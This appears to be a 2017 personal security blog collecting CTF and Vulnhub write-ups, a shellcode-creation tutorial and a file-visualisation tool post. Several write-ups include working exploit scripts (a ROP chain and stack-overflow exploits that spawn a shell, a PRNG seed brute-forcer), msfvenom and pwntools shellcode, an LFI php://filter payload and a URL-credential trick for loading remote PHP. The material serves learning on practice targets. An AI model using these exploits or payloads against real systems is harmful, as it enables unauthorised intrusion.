Thursday, 1 June 2017

Secfest write-ups

Standard
Puzzle palace - Pwn (100 + 0)
Adventure time! Find the magic bytes, kill the wizard, get all the flags!
Solves: 42
Author: likvidera
In the tar file we can find README and some libc version. README reads as follows:
Yep you only get the libc, connect to the service and go for an adventure to get the rest.
After connecting to the service, we've got:


and


We can notice that the magic bytes start with 7F454C46 => which is "\x7FELF", magic number for ELF executable file format. Going down(pressing 2) is showing us the next parts of the file. We need a script to dump it all.
from telnetlib import Telnet
import binascii
output = b""
with Telnet("pwn.ctf.rocks", 6666) as tn:
    tn.read_until(b"shame\n")
    tn.write(b"1\n")
    last_data = 0
    while True:

        out = tn.read_until(b"Down\n")
        print (len(out))
        tn.write(b"2\n")
        if len(out)!=224 and len(out)!=253: #last_data == data:
            print (out)
            break
        data = out.split(b"[")[1].split(b"]")[0]
        output+=data

        print (data)
        last_data = data

print (output)
bin_out = binascii.unhexlify(output)
open("out_bin", "wb").write(bin_out)

I've used telnetlib, it worked like a charm, after analysing the binary, it turns out that it is the same binary that is currently running on the server, we can investigate what exactly is going on. Interesting parts are:


Putting in 'Z' instead of number, can leak us system function address, this will be useful due to fact that ASLR on the remote machine is enabled.


We also found the correct bytes to trigger buffer overflow at the bottom of the screen, buf is small buffer, 20 bytes in size.
Given all that, all we needed to do was a ROPchain that gives us shell. We used system address to get libc base address, and from that we can calculate all gadgets addresses. I used only one, "pop rdi", and one address for "sh\0" string.
So my notes are:
system offset: 0x45390 
pop rdi offset: 0x21102 
"sh" offset: 0x11e70
Final exploit used this chain:
&pop rdi;
&"sh"
&system

Here is the final exploit:
from __future__ import print_function
from telnetlib import Telnet
from pwn import *
import binascii
output = b""
sys_off = 0x45390
pop_rdi_off = 0x21102
sh_off = 0x11e70

tn = Telnet("pwn.ctf.rocks", 6666)
#tn = Telnet("localhost", 4444)

tn.read_until(b"shame\n", 10)
tn.write(b"Z\n")
addr = tn.read_until(b"shame\n", 10)
addr = addr.split(b"\n")[1][:-1].split(b":")[1]
addr_int = int(addr, 16)
system = addr_int

base_libc =  system - sys_off
pop_rdi = base_libc + pop_rdi_off
sh = base_libc + sh_off

print(hex(base_libc))
print(hex(pop_rdi))
print(hex(sh))
print(hex(system))
payload = b"A"*24 +b"BBBBBBBB"+b"CCCCCCCC"+ p64(pop_rdi) + p64(sh) + p64(system) + b"\n"

tn.write(b"2\n")
tn.read_until(b"bytes: ", 10)
tn.write(b"1337p0werOverWhelMing1337\n")
tn.read_until(b"now!: ", 10)
print(payload)
tn.write(payload)
tn.interact()

tn.close()
We got the shell and the flag, yeah!



Empty - Misc (100 + 0)
Some suspicious character left this laying around on our system , seems to be empty.
Solves: 121
Author: d3vnu11

We get pdf file that looks blank. I used pdf-parser, it can be found in the kali linux, or downloaded from here: https://blog.didierstevens.com/programs/pdf-tools/
It found some objects, where one of them looked like this:


I must admit that I have no idea how pdf inner workings actually work, but it looked to me like ascii range, so I just converted it in python and it turned out to be the flag...
Python 2.7.12 (default, Nov 19 2016, 06:48:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = "83 67 84 70 123 115 116 114 52 110 103 51 95 111 98 106 51 99 116 95 99 104 114 95 49 110 95 112 108 52 49 110 95 115 49 116 51 125"
>>> "".join([chr(int(c)) for c in a.split()])
'SCTF{str4ng3_obj3ct_chr_1n_pl41n_s1t3}'

Ping - Pwn (50 + 0)
A simple ping-service for sysadmins, what could go wrong!?
Solves: 91
Author: likvidera

We are provided with a binary file.
Service is behaving as shown on the image:


As you can see, the first thing I tried was simple command injection, it turns out that the service does some sort of validation, after looking at it in disassembler, we know that the only characters that we can use are numbers, dots and a new line. Further investigation shows that the buffer that is used for login and getting IP for pinging when 2) Ping is chosen is the same.
So we could put our command incjection in the username field, there is no validation.
There is one problem tho, we can't ping until we Set IP, setting IP clears the buffer first, even if we don't provide any input to it. Also we can't just ping because we have check in code for not null value of allocated buffer for IP address.

It can be hard to explain, I recommend analysing the binary yourself, after all the solution was to initialize the pointer, then exit, set new username as a command injection and ping which would trigger our injection. Like so:



Signal - Rev (100 + 0)
Hey... My boss told me to reverse this program but I dont understand anything!!! wtf is PIE? Sooo annoying~
Solves: 40
Author: deep

We're given a binary. After running it we can see that it takes our input and depending on that prints if the flag is correct. Few minutes of analysis yields that there is some code that is unpacked by the binary and then run.


From another part of the binary it was clear that we have to get into the first branch of the if statement. I used gdb to let the binary unpack itself.


After stepping a bit through the code in debugger, we can see that this code is just doing simple xoring of our input with 0xde and then comparing it to some memory contents. Let's see with what exactly.


So I just xored those bytes with 0xde and got the flag: SCTF{early_early_sunday_morning?}


Qr code madness - Misc (200 + 0)
Random pictures, this do not make sense
Solves: 55
Author: d3vnu11

In the zip file there are 114 images with qr codes on them.
I quickly checked few of them at random with zbarimg utility, which can transform QR-images into text. All of those images encode one character only. The only thing we needed to figure out was the order in which we have to read them, I tried alphabetically and by date, the second way was the correct one.
ls -tr | xargs zbarimg
After cleaning up output a bit, we get

aC+40zqGmlLSdIJ1hY3EKoTwsrxWpkiAybPXU9Dj5veRVBHfFg6utM7QncU0NURntUaDNzM19kNG1uX1FSX2MwZDNfazMzcF9wMHAxbmdfdXB9Cg==

which looks like base64 but doesn't want to work. After a while I tried to cut some of the chars from the beginning, and with some luck, I've got the flag.


I heart cats - Misc (50 + 0)
We got this cute cat page. There is something odd in it. But I can't quite say what.
Solves: 52
Author: SecureLink / klondike
We are given index.html file with a lot of cat pictures, we can see that the index.html is formatted in a weird way, this is a hint. Highlighting tabs and spaces shows us a bit more.



I assumed that 8 spaces are 0s and tabs are 1s, this immidiately gave the flag.

asd = open("index.html", "r").read()

out = ""
i=0
while i < len(asd):
    if asd[i:i+8] == " "*8:
        out += "0"
        i+=8
        continue
    elif asd[i] == "\t":
        out += "1"
    i+=1

answer = ""
for i in range(0, len(out), 8):
    answer += chr(int(out[i:i+8], 2))

print answer

Flag: SCTF{Wh1735p4c35_4r3_84d_4u!}

Monday, 22 May 2017

CONFidence conference impression + Random(crypto 100) write-up

Standard
On 18-19 May CONFidence conference took place in Cracow. This was my third IT conference and second cybersecurity con in my life. CONFidence is a con with a long tradition, the biggest cybersecurity meeting of specialist in Poland every year.

Venue

This year it gathered around 800 people, which was awesome on one hand and pretty frustrating at times on the other. There were two tracks, most of the topics were pretty interesting. The problem was that sometimes rooms, especially the one for Track 2, couldn't handle amount of people, considering amount of space and AC. That, and lines for lunch were the only things that were not ideal. Talks were great, I enjoyed the one by @AdamLangePL the most. It was about JavaScript battle between banks and black hats.






Community Corner

On the side of the main tracks, there was something called community corner, it consisted of lightning talks mostly done by http://sekurak.pl and http://niebezpiecznik.pl. They had their stands with riddles and miniCTF, which I was able to solve and win a t-shirt from sekurak on the second day(yey!). 

Chill zone
niebezpiecznik's riddles - you could have won a YubiKey




CTF

As always on CONFidence, there was CTF organised by DragonSector, unfortunately taking part in CTF means that you are not able to watch talks and enjoy everything else about the conference. That's normal due to the fact that solving CTF challenges is really hard and time consuming.
I looked at some of the tasks during the lunch breaks, after first day downloaded some of the files, binaries to look at them in the hotel. The only task that I managed to solve was Random, which is probably on of the easiest tasks in the entire CTF, you can find write-up below. Level of challenges was really high. The most amazing task was probably the one when you were able to hack into drone that was standing inside the cage near the contestants.







To sum up I think that visiting such conferences can really profit in your skill set, as well as motivation to further work and research, eg. right now I'm working on RPi Zero to behave like HID device with OS fingerprinting. There were some guys that wrote pretty complex tool to do exactly that, and a lot more!
Also I got motivated to find/create CTF team for an offline events, maybe we'll join the CTF contest on CONFidence next year, see you then!

Random write-up

We were given random.cpp file and an IP to connect with the netcat to.

random.cpp
#include <fstream>
#include <iomanip>
#include <iostream>
#include <random>
#include <string>

using std::cin;
using std::cout;
using std::endl;
using std::ifstream;
using std::string;

[[noreturn]] void fatal_error(const string& msg)
{
 cout << msg << endl;
 exit(0);
}

class RandStream
{
 std::random_device rd;
 std::mt19937 gen;

public:
 RandStream() : rd(), gen(rd()) {}

 unsigned int NextUInt()
 {
  return gen();
 }
};

int main()
{
 cout << "Let's see if you can predict Mersenne Twister output from just"
      << " six values!" << endl;
 cout << "btw. You have only 5 seconds." << endl;

 RandStream rand{};
 for (int i = 0; i < 6; i++)
  cout << std::hex << std::setfill('0') << std::setw(8) << rand.NextUInt()
       << endl;

 for (int i = 0; i < 5; i++)
 {
  unsigned int num;
  cin >> std::hex >> num;
  if (num != rand.NextUInt())
   fatal_error("Wrong!");
 }

 cout << "Good work!" << endl;

 ifstream f("flag.txt");
 string flag;
 f >> flag;
 if (f.fail())
  fatal_error("Reading flag failed, contact admin");
 cout << flag << endl;
}



After examining the file we see what the task is, given 6 numbers we have to predict what the next 5 will be generated from the Mersenne Twister(19937)

We can determine the state of Mersenne Twister given 624 consecutive numbers, here we are provided with only 6, there is no way we can get the whole state of the generator.
The one thing we need to know is that std::mt19937 can be seeded in two ways, one of them is a single unsigned int, the other one is std::seed_seq, as it runs out, std::random_device is not perfect for seeding, the name is a little misleading given that the std::random_device can be implemented to produce the same input on every run, and can be fully deterministic. You can read more here: http://www.pcg-random.org/posts/cpps-random_device.html

It turns out we have only 32bits of entropy which means 2**32 of different seeds. This is bruteforceable to same extent, generating all the 6 number sequences would take around 188GB. We don't need all of them to solve the task. I've generated only 10% of the 32bit range and run the get_flag.py many times.
Generating numbers took around 2hours, running get_flag.py, was successful after ~20 tries or so.

gen_solution.cpp - generate 10% of the range and save it
#include <random>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <cstdio>
#include <unistd.h>

int main()
{
 int f = open("generated.txt", O_CREAT | O_APPEND | O_WRONLY);
 unsigned int tab[6*10000];
 int k =0;
 for (unsigned int i = 0; i < 429596799; i++)
 {
  std::mt19937 gen(i);
  if(k==10000) 
  { 
   write(f, &tab, sizeof(tab));
   k = 0;
  }
  for(unsigned int j=0;j<6;j++)
  {
   tab[j + k*6] = gen();
  }
  k++;

 }
}

find_match.c - fast finding matching six numbers (grep, bgrep, ... were to slow)
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#define cacheSize (24*1000*1000)
char fileBuf[cacheSize];

int main()
{
 int pattern = open("pattern", O_RDONLY);
 int file = open("generated.txt", O_RDONLY);

 unsigned int fileSize = lseek(file, 0, SEEK_END);
 unsigned int off = 0;

 char patternBuf[24];

 read(pattern, patternBuf, sizeof(patternBuf));
 unsigned int patternFirst = *((unsigned int*)patternBuf);

 while(off < fileSize)
 {
  lseek(file, off, SEEK_SET);
  read(file, fileBuf, cacheSize);
  for(int i=0; i<cacheSize/24;i++)
  {
   if (*((unsigned int*)(fileBuf + i*24)) != patternFirst) {
    off+=24;
    continue;
   }
   if (memcmp(fileBuf+i*24, patternBuf, 24) == 0)
   {
    printf("%d", off);
    return 0;
   }
   off = lseek(file, off, SEEK_CUR);
  }
 }
 puts("no match");
}

find_next_5.cpp - given the seed, discard 6 and generate next 5 numbers from the PRNG
#include <fstream>
#include <iomanip>
#include <iostream>
#include <random>
#include <string>

using std::cin;
using std::cout;
using std::endl;
using std::ifstream;
using std::string;

int main(int argc, char *argv[])
{
 unsigned int seed = atoi(argv[1]);

 std::mt19937 gen(seed);
 for(int i=0;i<6;i++) gen();
 for(int i=0;i<5;i++) printf("%x\n", gen());
}

get_flag.py - wrapper on all of the above, and communication with the server
from pwn import *
import sys
import random
from subprocess import check_output
import binascii
import random

def bintohex(s):
    return ''.join([ "%x"%string.atoi(bin,2) for bin in s.split() ])

r = remote("random.hackable.software", 1337)
r.recvline()
r.recvline()

out = []
for i in range(6):
    number = int(r.recvline()[:-1], 16)
    out.append(p32(number))

sixn = b"".join(out)
open("pattern", "wb").write(sixn)
o = check_output(['./find_match'])

if "no" in o:
 sys.exit(0)

seed = int(o)/24
print "Seed: %d" % seed


o = check_output(['./find_next_5', str(seed)])

r.sendline(str(o))
r.interactive()

After running:
while true; do python get_flag.py; done
and waiting like 10 seconds, we got the flag, unfortunately I don't have it right now.

Thursday, 13 April 2017

Vulnhub 1: Ew_Skuzzy

Standard

Me and few of my friends were asked to test some vulnerable environment that will be used as a playground for students, it was a lot of fun and motivated me to do some vulnhub.com in free time.

That's my first write-up on the vulnhub machines, let me know if the description is good enough.

1. Reconnaissance

Running the machine gives us the IP of our target 192.168.1.111

Let's see what basic nmap scan can show us:
→ nmap -T4 -sV 192.168.1.111

Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-13 10:50 CEST
Nmap scan report for skuzzy (192.168.1.111)
Host is up (0.0011s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx
3260/tcp open  iscsi?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.19 seconds

2. First flag

We can see 3 open ports, I've started from the last one. I have to admit that I've never used iscsi before, but after a bit of googling, I've successfully connected to and mounted the shares.
→ sudo iscsiadm -m discovery -t st -p 192.168.1.111
192.168.1.111:3260,1 iqn.2017-02.local.skuzzy:storage.sys0

→ sudo iscsiadm -m node --login
Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.1.111,3260] (multiple)
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.1.111,3260] successful.

→ cd /media/e0ca44be-b1ed-403a-84bd-db5558d6bb7e
→ ls
bobsdisk.dsk  flag1.txt  lost+found

→ cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}

Let's see how you go with the next one...

3. Second flag

That was pretty straight forward, there was no vulnerability to exploit, as was the second flag, we can see that our mounted share contains bobdisk.dsk, we can mount that as well.

→ sudo mount bobsdisk.dsk /media/bobsdisk
→ cd /media/bobsdisk
→ ls -la
total 21
drwxr-xr-x   3 root root  1024 mar 14 10:56 .
drwxr-x---+ 10 root root  4096 kwi 13 11:04 ..
drwx------   2 root root 12288 lut 28 09:56 lost+found
-rw-r--r--   1 root root   288 lut 28 10:25 ToAlice.csv.enc
-rw-r--r--   1 root root  2517 mar 14 10:56 ToAlice.eml

ToAlice.eml
G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly. My favourite new Spanish swear came in handy when this happened... supercalifragilisticoespialidoso !

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. The key is, well, one awesome word I learnt in my recent Spanish classes!

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}

4. Third flag

We got the second flag! And some tips how to decrypt the ToAlice.csv.enc, that can be found in the same directory. Keywords are:

  • symmetric keys from here on out
 self explanatory

  • what the letters in its other name stand for
 AES has two names, AES and Rijndael

  •  it won some big important competition among crypto geeks in October 2000
 Rijndael did won a NIST comp in 2000

  • updated version that won the competition.
 AES has been updated in 2001

  • 256 bit Lego kit
 AES-256

  • ROCKYOU
 Maybe we should use /usr/share/wordlists/rockyou.txt from Kali Linux?

  • those blocks chain togeather really does make them work
 AES-256-CBC

  • supercalifragilisticoespialidoso
 the password?

  • -md sha256
 Used digest (-md is the openssl flag)


So we should try AES-256-CBC with SHA256 digest and password supercalifragilisticoespialidoso or rockyou.txt wordlist. I've put supercalifragilisticoespialidoso at the begginning of the rockyou.txt and run the command:

→ /tmp/bruteforce-salted-openssl/bruteforce-salted-openssl -t 4 -f ~/wordlist/rockyou.txt -c aes-256-cbc -d sha256 ToAlice.csv.enc
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 1
Tried passwords per second: inf
Last tried password: iloveyou
Password candidate: supercalifragilisticoespialidoso
Tried passwords: 3475548
Tried passwords per second: 1737774,000000
Last tried password: supercalidosa
Password candidate: supercalifragilisticoespialidoso
Let's try that password:
→ openssl aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ~/vulnhub/ew_skuzzy/ToAlice.csv
enter aes-256-cbc decryption password:

→ cd ~/vulnhub/ew_skuzzy
→ cat ToAlice.csv
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! 
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?

4. Fourth flag

It worked! We got 3 flags so far, and even more hints for the next steps.

http://192.168.1.111/5560a1468022758dba5e92ac8f2353c0/ 
It does not look interesting in any way, we got some base64ed reference to Seinfield TV series, transcript of the dialog: https://www.youtube.com/watch?v=lgC7z_vR78U


http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=welcome
This one is a lot more interesting, we got a GET parameter, my first guess was LFI, it was correct.
http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
After decoding the base64, we get:

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>

Which gives us the 4th flag.

5. Fifth flag

Next step seems to be Feed Reader tab, it allows to read and execute any php from remote host.

http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=reader
Load Feed -> http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

We extract the code with LFI once again:

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
     $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
            // then good luck :) But.. You have the source anyway, right? :) 
     if(strcmp($hashedkey, $secret) == 0) {
                $secretok = true;
            } else {
                die("Sorry... Authentication failed. Key was invalid.");
     }

        } else {
            die("Authentication invalid. You might need a key.");
        }
    }

    // Just to make sure the above key check was passed.
    if(!$secretok) {
        die("Something went wrong with the authentication process");
    }

    // Now load the contents of the file we are reading, and parse
    // the super awesomeness of its contents!
    $f = file_get_contents($url);

    $text = preg_split("/##text##/s", $f);

    if(isset($text['1']) && strlen($text['1']) > 0) {
        print($text['1']);
    }

    print "<br /><br />";

    $php = preg_split("/##php##/s", $f);

    if(isset($php['1']) && strlen($php['1']) > 0) { 
        eval($php['1']);
        // "If Eval is the answer, you're asking the wrong question!" - SG
        // It hurts me to write insecure code like this, but it is in the
        // name of education, and FUN, so I'll let it slide this time.
    }
}
?>

We can see from the code that we need some sort of a key of length 47, which is not bruteforcable. I felt a bit stuck over here. I found another way in. My thought process was, how do you trick the regex that the host is http://127.0.0.1, but the real host is different, I tried:
http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1:asd@192.168.1.115:8000/costam.txt

Where 192.168.1.115:8000 was my server which serves costam.txt, we use 127.0.0.1 as username and asd as password, but because the server does not require you to login, it's ignored. That allows us to bypass the key check and load any file from our site we want(later on it turned out that previous flag was the key, which makes me think that this bug was ?not intended?).
costam.txt - bind shell
Now we got low privs shell, we probably need to escalate for the fifth flag.
After looking around, we can find not standard SUID binary at /opt/alicebackup

As we can see from strings, somewhere inside scp /tmp/special bob@alice.home:~ is used, scp does not have specified full path which means that linux will search for the scp in the PATH variable. We can make our own scp, that will be executed instead of the standard one, directory with our binary must be before the directory with real scp.



After doing so, we are root. We can find the flag inside the /root/flag.txt
I really like the difficulty curve of the challenges, it started really simple and was getting harder and harder with each of the challenges, that keeps people motivated to carry on, which is a good thing!
It was a lot of fun and I look forward to doing next parts.

Sunday, 19 March 2017

EntropyGrapher - file visualization

Standard
Since I have finally found a bit of free time I was able to develop a project that was on my mind for quite some time now.
The idea was simple, write some piece of code that would let me explore entropy of the contents of a file. I've written a little snippet, that yielded this:
With the help of matplotlib, creating such image is a matter of a few lines in python. I've used some color coding for defined entropy ranges to make the image more readable.
Nevertheless I wasn't really happy with the readability I got. One can't really tell which sections are which, is this even a binary file?
It turned out that calculating and drawing graphs based on entropy tells actually lot less than just straight up drawing a file as it is. So that's exactly what I did!
Here are some examples:

/bin/mkdir

/bin/ls
/lib32/ld-2.23.so

In all of the above we should be able to easily identify code(high entropy) and strings(green).

We can confirm that with circle of colors, as we can see green has a lot of coverage in printable characters range(48-126).

mkdir.png -> first of the images above

.NET dll packed with ConfuserEx 1.0 (we can see similar entropy to the one in the png file, almost random at the beginning)
After unpacking the binary and deobfuscating strings, code lost some entropy, and strings are now in ASCII range(green color)



As you can see those can tell us A LOT more than just entropy graphs, the truth is that sometimes the image can get a bit large, but it's nothing that we can't control.
Creating images is really simple process. We just iterate through the whole file, use each byte as a H input to the HSV color scheme(S=V=1), and output that to the image file with the help of the Pillow python library.
Another thing that I've tried to visualize was output of the movfuscator. Expecting to see some dots, maybe straight lines, which would represent mov instructions with the same opcodes, or very close ones. That's what I was able to find, in addition to that, there were some areas which I couldn't really identify:


Full Image
Later I found out what's the purpose of this beautiful mosaic is. Do you know what is it? :)

In the meantime of having fun with this project, I realized that when working with images of sizes like 256x20000 pixels, some of the programs have hard time displaying them. The default Ubuntu image viewer(eog) crashes when trying to display that png. The reason being that it wants to allocate really big amounts of memory to display the image, and ends up not getting the memory it wants from the OS(reported as a bug). Viewnior was able to handle the images properly.

There are some other instances where such big pictures, even when really small in file size, can cause some trouble. Messenger browser crashes on some of them consistently.

Project sources: https://github.com/hub2/EntropyGrapher
Usage:

→ python3 entropy.py -h
usage: entropy.py [-h] [-c CHK_SIZE] [-o OUTPUT] [-e | -i] filename

Simple tool for file visualization

positional arguments:
  filename              name of the file to analyze

optional arguments:
  -h, --help            show this help message and exit
  -c CHK_SIZE, --chk_size CHK_SIZE
  -o OUTPUT, --output OUTPUT
  -e, --entropy
  -i, --image

Saturday, 28 January 2017

Shellcode creation - comparison of methods

Standard
In the part 2 of my guide on stack overflow exploitation I mentioned that there are several ways of creating shellcodes. This post is about some of them.

1. NASM

The obvious way of creating shellcodes is writing it in assembly ourselves. To do that, we can use NASM, which is a x86/x86_64 assembler. Obvious drawback is that we cannot write for any other architecture with it(eg. arm64 for android).
In addition to that, we need to know assembly pretty well, fortunately for us, basic shellcode can be really simple, an example would be something along those lines:

shellcode.s
[BITS 64]
main:
    mov rax, 11 ; 11 - execve syscall number
    lea rbx, [rel bash] ; path to binary (thanks to rel our code is not dependent on any hardcoded addresses)
    mov rcx, 0 ; arguments
    mov rdx, 0 ; env
    int 0x80 ; syscall

bash:
db "/bin/bash", 0

We assemble it into object file, entire content of that file is our shellcode.
$ nasm shellcode.s -f bin -o shellcode.o

After that we can load it into python easily.
with open("shellcode.o", "rb") as f:
 ...

Testing our shellcode is also pretty easy, just link and run:
$ ld shellcode.o -o shellcode
$ ./shellcode

This method gives us full control of what you make, so self modifying code or writing raw bytes with db/dd/dq is not a problem. On the other hand, it's much more time consuming and a little trickier than other methods. If you want to learn NASM I recommend starting with their examples of simple programs here.

2. Msfvenom

Another way that I've shown already is to use module of metasploit called msfvenom. Main advantage of this solution is that we don't have to write anything ourselves. We use predefined shellcodes suitable for many platforms and architectures instead. Additional benefits are options like '--bad-chars', where we can blacklist some of the bytes. This can be useful if our shellcode must consists only of ASCII or mustn't contain null bytes. Msfvenom allows for choosing output format, that means we can have it print out code that puts all of the shellcode into python variable.

Command for generating shellcode that execute /bin/bash for x64 linux in python format would look like this:
$ msfvenom -f python -p linux/x64/exec -a x86_64 --platform linux CMD=/bin/bash
No encoder or badchars specified, outputting raw payload
Payload size: 49 bytes
Final size of python file: 246 bytes
buf =  ""
buf += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
buf += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
buf += "\x52\xe8\x0a\x00\x00\x00\x2f\x62\x69\x6e\x2f\x62\x61"
buf += "\x73\x68\x00\x56\x57\x48\x89\xe6\x0f\x05"

That's pretty neat! Downside of this solution is that even that there are a lot of payloads to choose from, it can render itself useless when you need a custom one.

3. PWNtools

 Last but definitely not least is pwntools.
pwntools is a CTF framework and exploit development library. Written in Python, it is designed for rapid prototyping and development, and intended to make exploit writing as simple as possible.
pwntools is a great framework although we will focus only on one aspect of it which is module called shellcraft. This module allows you to write assembly code similar to what we can do with NASM, but using python.
It implies that you don't have to know so much about assembly to make it work. Moreover, there are tools to help you write code faster.
On the highest level we can create shellcodes like with msfvenom, there are predefined C functions as well as whole payloads:

>>> from pwnlib import *
>>> context.context(arch='amd64', os='linux')
>>> asm.asm(shellcraft.amd64.linux.sh())
b'jhH\xb8/bin///sPj;XH\x89\xe71\xf6\x99\x0f\x05'
>>> print(shellcraft.amd64.linux.sh())
    /* push b'/bin///sh\x00' */
    push 0x68
    mov rax, 0x732f2f2f6e69622f
    push rax
   
    /* call execve('rsp', 0, 0) */
    push (SYS_execve) /* 0x3b */
    pop rax
    mov rdi, rsp
    xor esi, esi /* 0 */
    cdq /* rdx=0 */
    syscall

Even though we are able to create payloads very quickly, sometimes much more precision is needed, in that case we can use another part of the module:
>>> shellcode = ""
>>> shellcode += shellcraft.amd64.mov('rax', 11)
>>> shellcode += shellcraft.amd64.push(util.packing.u64(b'/bin/sh\0'))
>>> ....

It's a real Swiss army knife in this matter, look at the documentation for more information.


To sum up, all of those have their use cases, which are mutually a bit disjunctive. pwntools is my favorite, which comes with no surprise as it was created to help you pwn!

Monday, 21 November 2016

Qiwi ctf write-ups cont.

Standard
As I said, here is the rest of the tasks.

PWN 100_5

Description:
nc 138.201.98.60 3333 
binary
Looking at the binary, it turns out to be a server that accepts commands LIST, LAST, HELP and one more command that is said to be a secret one, but the prompt that invited us when connecting didn't give any hint about what it can be, looking at it in disassembler and searching with strings that were printed to us we can quickly navigate to part of the code that is responsible for determining which command has been sent. Command recognition is implemented by calculating hash out of a command and comparing with hard coded value in the binary.
At this point we can do one of two things, reverse hashing algorithm and look for a way to find out what the command is.
The other approach is to just use some brute force :D
You can guess which approach I've chosen looking at the code below:

#!/usr/bin/env python
import telnetlib
import string
import itertools
import time
tb = telnetlib.Telnet("localhost", 3333)
print(tb.read_until(b">"))
i=1
counter = 0
while True:
    for guess in itertools.product(string.lowercase, repeat=i):
        tb.write(bytes(guess) + b"\n")
        out = tb.read_until(b">")
        if "notrealofc" in out:
            print(guess)
            break
        else:
            counter +=1
        if counter % 500 == 0:
            print("Counter: %d" % counter)
        time.sleep(0.001)
    i+=1

Binary was printing "notrealofc" when you have put the right command.
If you look closely at this code, you can see there is a mistake, guess is actually a tuple not a string, I've forgot to join the result of itertools.product, the funny thing is that it worked, my final answer was: '("e","u","s","h")' - I guess the hashing algorithm was vulnerable to collisions big time!

PWN 100_1

Description:

My litle easy BOF  
nc 138.201.98.42 4000
After connecting to the server we could put some input and after that stack was printed to us with return address from function marked. It was tho most basic task of executing our own payload from stack, addresses of stack weren't changing between connections. (For checking what protections are turned on in the binary you can use this tool, pwndbg has such capabilities as well)
When we knew what is the challenge about, writing exploit using pwntools was a piece of cake. (for beginners I recommend my little guide about binary exploitation here)

#!/usr/bin/env python3
from pwn import *
context(arch='i386', os='linux')
r = remote('138.201.98.42', 4000)
r.send("A"*144)
r.send(struct.pack("I", 0xffffd080))
r.send(asm(shellcraft.sh()))
r.interactive()

